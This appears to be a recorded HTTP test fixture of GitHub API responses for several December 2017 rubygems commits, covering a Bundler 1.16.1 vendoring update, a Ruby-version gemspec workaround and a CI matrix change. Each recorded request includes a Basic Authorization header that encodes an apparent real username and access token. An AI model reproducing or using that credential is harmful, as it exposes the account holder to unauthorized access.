github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.039397' X-Github-Request-Id: - A1B8:4D95:F47AAB:1C83075:5A50E45F body: encoding: ASCII-8BIT string: '{"sha":"e4f48ff31a1a353f91ad691dd135d4a6cbc0c3fc","commit":{"author":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-12-22T06:34:26Z"},"committer":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-12-22T06:34:26Z"},"message":"Auto merge of #2121 - rubygems:bundler-1-16-1, r=hsbt\n\nTo use bundler-1.16.1\n\nUpdate vendored bundler to 1.16.1.","tree":{"sha":"e90c70a948aee2c46da036b0c9d48f00b0bcc5d7","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/e90c70a948aee2c46da036b0c9d48f00b0bcc5d7"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/e4f48ff31a1a353f91ad691dd135d4a6cbc0c3fc","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/e4f48ff31a1a353f91ad691dd135d4a6cbc0c3fc","html_url":"https://github.com/rubygems/rubygems/commit/e4f48ff31a1a353f91ad691dd135d4a6cbc0c3fc","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/e4f48ff31a1a353f91ad691dd135d4a6cbc0c3fc/comments","author":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"committer":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"parents":[{"sha":"814ea7a4a0098966dd7ecd2d9cad3fbf1615f2e0","url":"https://api.github.com/repos/rubygems/rubygems/commits/814ea7a4a0098966dd7ecd2d9cad3fbf1615f2e0","html_url":"https://github.com/rubygems/rubygems/commit/814ea7a4a0098966dd7ecd2d9cad3fbf1615f2e0"},{"sha":"67c158414b053b31c4ef03630c4ce7186e6577f3","url":"https://api.github.com/repos/rubygems/rubygems/commits/67c158414b053b31c4ef03630c4ce7186e6577f3","html_url":"https://github.com/rubygems/rubygems/commit/67c158414b053b31c4ef03630c4ce7186e6577f3"}],"stats":{"total":21,"additions":11,"deletions":10},"files":[{"sha":"3550d45c41979002066283524cf2c834426411e4","filename":".travis.yml","status":"modified","additions":1,"deletions":8,"changes":9,"blob_url":"https://github.com/rubygems/rubygems/blob/e4f48ff31a1a353f91ad691dd135d4a6cbc0c3fc/.travis.yml","raw_url":"https://github.com/rubygems/rubygems/raw/e4f48ff31a1a353f91ad691dd135d4a6cbc0c3fc/.travis.yml","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/.travis.yml?ref=e4f48ff31a1a353f91ad691dd135d4a6cbc0c3fc","patch":"@@ -47,12 +47,5 @@ matrix:\n - rvm: ruby-head\n env: \"TEST_TOOL=rubygems YAML=syck\"\n allow_failures:\n- - rvm: 1.8.7\n- env: \"TEST_TOOL=bundler RGV=master\"\n- - rvm: 1.9.3\n- env: \"TEST_TOOL=bundler RGV=master\"\n- - rvm: 2.0.0\n- env: \"TEST_TOOL=bundler RGV=master\"\n- - rvm: 2.1.10\n- env: \"TEST_TOOL=bundler RGV=master\"\n - rvm: ruby-head\n+"},{"sha":"f33441951892527e5c5437bb43d74bc6041d38c4","filename":"Manifest.txt","status":"modified","additions":2,"deletions":1,"changes":3,"blob_url":"https://github.com/rubygems/rubygems/blob/e4f48ff31a1a353f91ad691dd135d4a6cbc0c3fc/Manifest.txt","raw_url":"https://github.com/rubygems/rubygems/raw/e4f48ff31a1a353f91ad691dd135d4a6cbc0c3fc/Manifest.txt","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/Manifest.txt?ref=e4f48ff31a1a353f91ad691dd135d4a6cbc0c3fc","patch":"@@ -144,12 +144,12 @@ bundler/lib/bundler/ssl_certs/index.rubygems.org/GlobalSignRootCA.pem\n bundler/lib/bundler/ssl_certs/rubygems.global.ssl.fastly.net/DigiCertHighAssuranceEVRootCA.pem\n bundler/lib/bundler/ssl_certs/rubygems.org/AddTrustExternalCARoot.pem\n bundler/lib/bundler/stub_specification.rb\n+bundler/lib/bundler/templates/.document\n bundler/lib/bundler/templates/Executable\n bundler/lib/bundler/templates/Executable.bundler\n bundler/lib/bundler/templates/Executable.standalone\n bundler/lib/bundler/templates/Gemfile\n bundler/lib/bundler/templates/gems.rb\n-bundler/lib/bundler/templates/newgem/.travis.yml.tt\n bundler/lib/bundler/templates/newgem/CODE_OF_CONDUCT.md.tt\n bundler/lib/bundler/templates/newgem/Gemfile.tt\n bundler/lib/bundler/templates/newgem/LICENSE.txt.tt\n@@ -170,6 +170,7 @@ bundler/lib/bundler/templates/newgem/spec/newgem_spec.rb.tt\n bundler/lib/bundler/templates/newgem/spec/spec_helper.rb.tt\n bundler/lib/bundler/templates/newgem/test/newgem_test.rb.tt\n bundler/lib/bundler/templates/newgem/test/test_helper.rb.tt\n+bundler/lib/bundler/templates/newgem/travis.yml.tt\n bundler/lib/bundler/ui.rb\n bundler/lib/bundler/ui/rg_proxy.rb\n bundler/lib/bundler/ui/shell.rb"},{"sha":"0f9024d2c52cde468d23bb4205fa99dc57ad55dc","filename":"Rakefile","status":"modified","additions":7,"deletions":0,"changes":7,"blob_url":"https://github.com/rubygems/rubygems/blob/e4f48ff31a1a353f91ad691dd135d4a6cbc0c3fc/Rakefile","raw_url":"https://github.com/rubygems/rubygems/raw/e4f48ff31a1a353f91ad691dd135d4a6cbc0c3fc/Rakefile","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/Rakefile?ref=e4f48ff31a1a353f91ad691dd135d4a6cbc0c3fc","patch":"@@ -103,6 +103,13 @@ hoe.testlib = :minitest\n hoe.test_prelude = <<-RUBY.gsub(\"\\n\", \";\")\n gem \"minitest\", \"~> 4.0\"\n $:.unshift #{File.expand_path(\"../bundler/lib\", __FILE__).dump}\n+ if \"1.8\" < RUBY_VERSION && RUBY_VERSION < \"2.2\"\n+ module Gem\n+ @path_to_default_spec_map.delete_if do |_path, spec|\n+ spec.name == \"bundler\"\n+ end\n+ end\n+ end\n RUBY\n \n Rake::Task[''docs''].clear"},{"sha":"0034ef3416ca94d00839361dbeb0485b10a09c51","filename":"bundler","status":"modified","additions":1,"deletions":1,"changes":2,"blob_url":null,"raw_url":null,"contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/bundler?ref=e4f48ff31a1a353f91ad691dd135d4a6cbc0c3fc","patch":"@@ -1 +1 @@\n-Subproject commit 10f20fa33bc36371cbad00106487c6eb22616ec7\n+Subproject commit 0034ef3416ca94d00839361dbeb0485b10a09c51"}]}' http_version: recorded_at: Sat, 06 Jan 2018 14:59:43 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/67c158414b053b31c4ef03630c4ce7186e6577f3 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 14:59:43 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4570' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"d832fab77e0fd222c04d56825341c165" Last-Modified: - Fri, 22 Dec 2017 05:52:22 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.047294' X-Github-Request-Id: - C48A:4D94:4EFE8E:B2FEFE:5A50E45F body: encoding: ASCII-8BIT string: '{"sha":"67c158414b053b31c4ef03630c4ce7186e6577f3","commit":{"author":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-12-22T05:52:22Z"},"committer":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-12-22T05:52:22Z"},"message":"Move gemspec workaround to Rakefile. It needs to treat before loading test suite","tree":{"sha":"e90c70a948aee2c46da036b0c9d48f00b0bcc5d7","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/e90c70a948aee2c46da036b0c9d48f00b0bcc5d7"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/67c158414b053b31c4ef03630c4ce7186e6577f3","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\n\niQEzBAABCAAdFiEE50LR90JOo/3pIvdm+c8TQXJk+sIFAlo8nZYACgkQ+c8TQXJk\n+sLweggAv1oprNq2dV4MWTD6CWPPo3tosn6d+WD+rKcMcGfoqNS32ijHpCJKL/0D\nq4Ej1N7nnOMWBK6w386A+VkMU9Q1ieaZC5EUehe638X851/caKOwTa0lTJpdqnKV\nvH3d9uxe2U8thAKNk+E/0g1XVT8r11WKOWwhqLDyx+KOiCxLY6VT10+lowcdmHmj\nkjK1lJbzxgdxPg8YrFAv7cVeclBORIK+Jdpy7RRfnsi+thDyf3YbEvVmb7indfis\n1umzOTNDnNySF7sihnLD2gcYQZgN3PDDmFdlk3o4bkbCYs2g/HCAwW+H4lJvWcjC\n0ml4d6N37n7BKf1gQua0tF8icyBWwg==\n=vffu\n-----END PGP SIGNATURE-----","payload":"tree e90c70a948aee2c46da036b0c9d48f00b0bcc5d7\nparent 23d049886044a2bcc181ca45b88af5036810d711\nauthor SHIBATA Hiroshi 1513921942 +0900\ncommitter SHIBATA Hiroshi 1513921942 +0900\n\nMove gemspec workaround to Rakefile. It needs to treat before loading test suite\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/67c158414b053b31c4ef03630c4ce7186e6577f3","html_url":"https://github.com/rubygems/rubygems/commit/67c158414b053b31c4ef03630c4ce7186e6577f3","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/67c158414b053b31c4ef03630c4ce7186e6577f3/comments","author":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"committer":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"parents":[{"sha":"23d049886044a2bcc181ca45b88af5036810d711","url":"https://api.github.com/repos/rubygems/rubygems/commits/23d049886044a2bcc181ca45b88af5036810d711","html_url":"https://github.com/rubygems/rubygems/commit/23d049886044a2bcc181ca45b88af5036810d711"}],"stats":{"total":17,"additions":7,"deletions":10},"files":[{"sha":"0f9024d2c52cde468d23bb4205fa99dc57ad55dc","filename":"Rakefile","status":"modified","additions":7,"deletions":0,"changes":7,"blob_url":"https://github.com/rubygems/rubygems/blob/67c158414b053b31c4ef03630c4ce7186e6577f3/Rakefile","raw_url":"https://github.com/rubygems/rubygems/raw/67c158414b053b31c4ef03630c4ce7186e6577f3/Rakefile","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/Rakefile?ref=67c158414b053b31c4ef03630c4ce7186e6577f3","patch":"@@ -103,6 +103,13 @@ hoe.testlib = :minitest\n hoe.test_prelude = <<-RUBY.gsub(\"\\n\", \";\")\n gem \"minitest\", \"~> 4.0\"\n $:.unshift #{File.expand_path(\"../bundler/lib\", __FILE__).dump}\n+ if \"1.8\" < RUBY_VERSION && RUBY_VERSION < \"2.2\"\n+ module Gem\n+ @path_to_default_spec_map.delete_if do |_path, spec|\n+ spec.name == \"bundler\"\n+ end\n+ end\n+ end\n RUBY\n \n Rake::Task[''docs''].clear"},{"sha":"367b269feaaf75a9399827b6c1e98076ef95b60a","filename":"lib/rubygems/test_case.rb","status":"modified","additions":0,"deletions":10,"changes":10,"blob_url":"https://github.com/rubygems/rubygems/blob/67c158414b053b31c4ef03630c4ce7186e6577f3/lib/rubygems/test_case.rb","raw_url":"https://github.com/rubygems/rubygems/raw/67c158414b053b31c4ef03630c4ce7186e6577f3/lib/rubygems/test_case.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/test_case.rb?ref=67c158414b053b31c4ef03630c4ce7186e6577f3","patch":"@@ -67,16 +67,6 @@ def self.ruby= ruby\n @ruby = ruby\n end\n \n- ##\n- # Remove bundler gemspec from default gems. Ruby 1.9.2-2.1 couldn''t activate\n- # vendored bundler.\n-\n- if defined?(@path_to_default_spec_map) && (\"1.8\" < RUBY_VERSION && RUBY_VERSION < \"2.2\")\n- @path_to_default_spec_map.delete_if do |_path, spec|\n- spec.name == \"bundler\"\n- end\n- end\n-\n ##\n # When rubygems/test_case is required the default user interaction is a\n # MockGemUi."}]}' http_version: recorded_at: Sat, 06 Jan 2018 14:59:43 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/23d049886044a2bcc181ca45b88af5036810d711 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 14:59:43 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4569' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"fe7e071429ccc31ff63dfcb5cb638ec8" Last-Modified: - Fri, 22 Dec 2017 05:08:14 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.056069' X-Github-Request-Id: - C48C:4D96:97149F:13A33F1:5A50E45F body: encoding: ASCII-8BIT string: '{"sha":"23d049886044a2bcc181ca45b88af5036810d711","commit":{"author":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-12-22T05:08:14Z"},"committer":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-12-22T05:08:14Z"},"message":"Workaround for bundler gemspec","tree":{"sha":"40521fb2cc99daa5e3e33c66b7bd2e95147ed20b","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/40521fb2cc99daa5e3e33c66b7bd2e95147ed20b"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/23d049886044a2bcc181ca45b88af5036810d711","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\n\niQEzBAABCAAdFiEE50LR90JOo/3pIvdm+c8TQXJk+sIFAlo8kz4ACgkQ+c8TQXJk\n+sLiowf+ImsA4ZB5NdtBgkrHhIPn38nyE0LLpFDzDAYIJOz3Pv13zxtu8Gchgq1f\naOpBUqTF5t1v1SqjaQ2XunvGCOzxJ7c3Td4e65o49mW8JTaHXs5kVPKC52z/YqX/\nX0IDPqudofHRgqSRXNgDZlYocTR8c3XaiJNzRfY0VYjWWgyBH/pEeE3KAeZ8pQra\np343TPW72xtm/BVBFezpVTj+vKtBJ2zjtbRP1uNQWsf3KeuBvDComlzb44h95lnQ\n4044x8El5UZVooD2mO/qcV3qHeFEPa3uodg3GR/PGqYTl87HzZIBTzu7ceNVaS0L\nlJ82GzAkAozdrSO3OH/OznYjnIDwBA==\n=N2O9\n-----END PGP SIGNATURE-----","payload":"tree 40521fb2cc99daa5e3e33c66b7bd2e95147ed20b\nparent 9716d770978c695548be3cc594770799b0eec163\nauthor SHIBATA Hiroshi 1513919294 +0900\ncommitter SHIBATA Hiroshi 1513919294 +0900\n\nWorkaround for bundler gemspec\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/23d049886044a2bcc181ca45b88af5036810d711","html_url":"https://github.com/rubygems/rubygems/commit/23d049886044a2bcc181ca45b88af5036810d711","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/23d049886044a2bcc181ca45b88af5036810d711/comments","author":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"committer":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"parents":[{"sha":"9716d770978c695548be3cc594770799b0eec163","url":"https://api.github.com/repos/rubygems/rubygems/commits/9716d770978c695548be3cc594770799b0eec163","html_url":"https://github.com/rubygems/rubygems/commit/9716d770978c695548be3cc594770799b0eec163"}],"stats":{"total":10,"additions":10,"deletions":0},"files":[{"sha":"729d406df6b26029b581caf8920a9730ac2622c8","filename":"lib/rubygems/test_case.rb","status":"modified","additions":10,"deletions":0,"changes":10,"blob_url":"https://github.com/rubygems/rubygems/blob/23d049886044a2bcc181ca45b88af5036810d711/lib/rubygems/test_case.rb","raw_url":"https://github.com/rubygems/rubygems/raw/23d049886044a2bcc181ca45b88af5036810d711/lib/rubygems/test_case.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/test_case.rb?ref=23d049886044a2bcc181ca45b88af5036810d711","patch":"@@ -67,6 +67,16 @@ def self.ruby= ruby\n @ruby = ruby\n end\n \n+ ##\n+ # Remove bundler gemspec from default gems. Ruby 1.9.2-2.1 couldn''t activate\n+ # vendored bundler.\n+\n+ if defined?(@path_to_default_spec_map) && (\"1.8\" < RUBY_VERSION && RUBY_VERSION < \"2.2\")\n+ @path_to_default_spec_map.delete_if do |_path, spec|\n+ spec.name == \"bundler\"\n+ end\n+ end\n+\n ##\n # When rubygems/test_case is required the default user interaction is a\n # MockGemUi."}]}' http_version: recorded_at: Sat, 06 Jan 2018 14:59:43 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/9716d770978c695548be3cc594770799b0eec163 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 14:59:43 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4568' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"3857e3ed24b12480092082a6be853fd6" Last-Modified: - Fri, 22 Dec 2017 02:34:38 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.033674' X-Github-Request-Id: - C48E:4D96:9714A7:13A33FC:5A50E45F body: encoding: ASCII-8BIT string: '{"sha":"9716d770978c695548be3cc594770799b0eec163","commit":{"author":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-12-22T02:34:38Z"},"committer":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-12-22T02:34:38Z"},"message":"Revert \"Ignored failing matrix with bundler tests\"\n\nThis reverts commit 0a49b6d365e1affd3849ad491e10789e829ff4df.","tree":{"sha":"5fe258f8f4801efa0cbd6d29529b46bd842f6509","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/5fe258f8f4801efa0cbd6d29529b46bd842f6509"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/9716d770978c695548be3cc594770799b0eec163","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/9716d770978c695548be3cc594770799b0eec163","html_url":"https://github.com/rubygems/rubygems/commit/9716d770978c695548be3cc594770799b0eec163","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/9716d770978c695548be3cc594770799b0eec163/comments","author":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"committer":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"parents":[{"sha":"50b7a711a419d453f004e90ea2fdb3d825cdf5bd","url":"https://api.github.com/repos/rubygems/rubygems/commits/50b7a711a419d453f004e90ea2fdb3d825cdf5bd","html_url":"https://github.com/rubygems/rubygems/commit/50b7a711a419d453f004e90ea2fdb3d825cdf5bd"}],"stats":{"total":9,"additions":1,"deletions":8},"files":[{"sha":"3550d45c41979002066283524cf2c834426411e4","filename":".travis.yml","status":"modified","additions":1,"deletions":8,"changes":9,"blob_url":"https://github.com/rubygems/rubygems/blob/9716d770978c695548be3cc594770799b0eec163/.travis.yml","raw_url":"https://github.com/rubygems/rubygems/raw/9716d770978c695548be3cc594770799b0eec163/.travis.yml","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/.travis.yml?ref=9716d770978c695548be3cc594770799b0eec163","patch":"@@ -47,12 +47,5 @@ matrix:\n - rvm: ruby-head\n env: \"TEST_TOOL=rubygems YAML=syck\"\n allow_failures:\n- - rvm: 1.8.7\n- env: \"TEST_TOOL=bundler RGV=master\"\n- - rvm: 1.9.3\n- env: \"TEST_TOOL=bundler RGV=master\"\n- - rvm: 2.0.0\n- env: \"TEST_TOOL=bundler RGV=master\"\n- - rvm: 2.1.10\n- env: \"TEST_TOOL=bundler RGV=master\"\n - rvm: ruby-head\n+"}]}' http_version: recorded_at: Sat, 06 Jan 2018 14:59:43 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/50b7a711a419d453f004e90ea2fdb3d825cdf5bd body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 14:59:43 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4567' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - 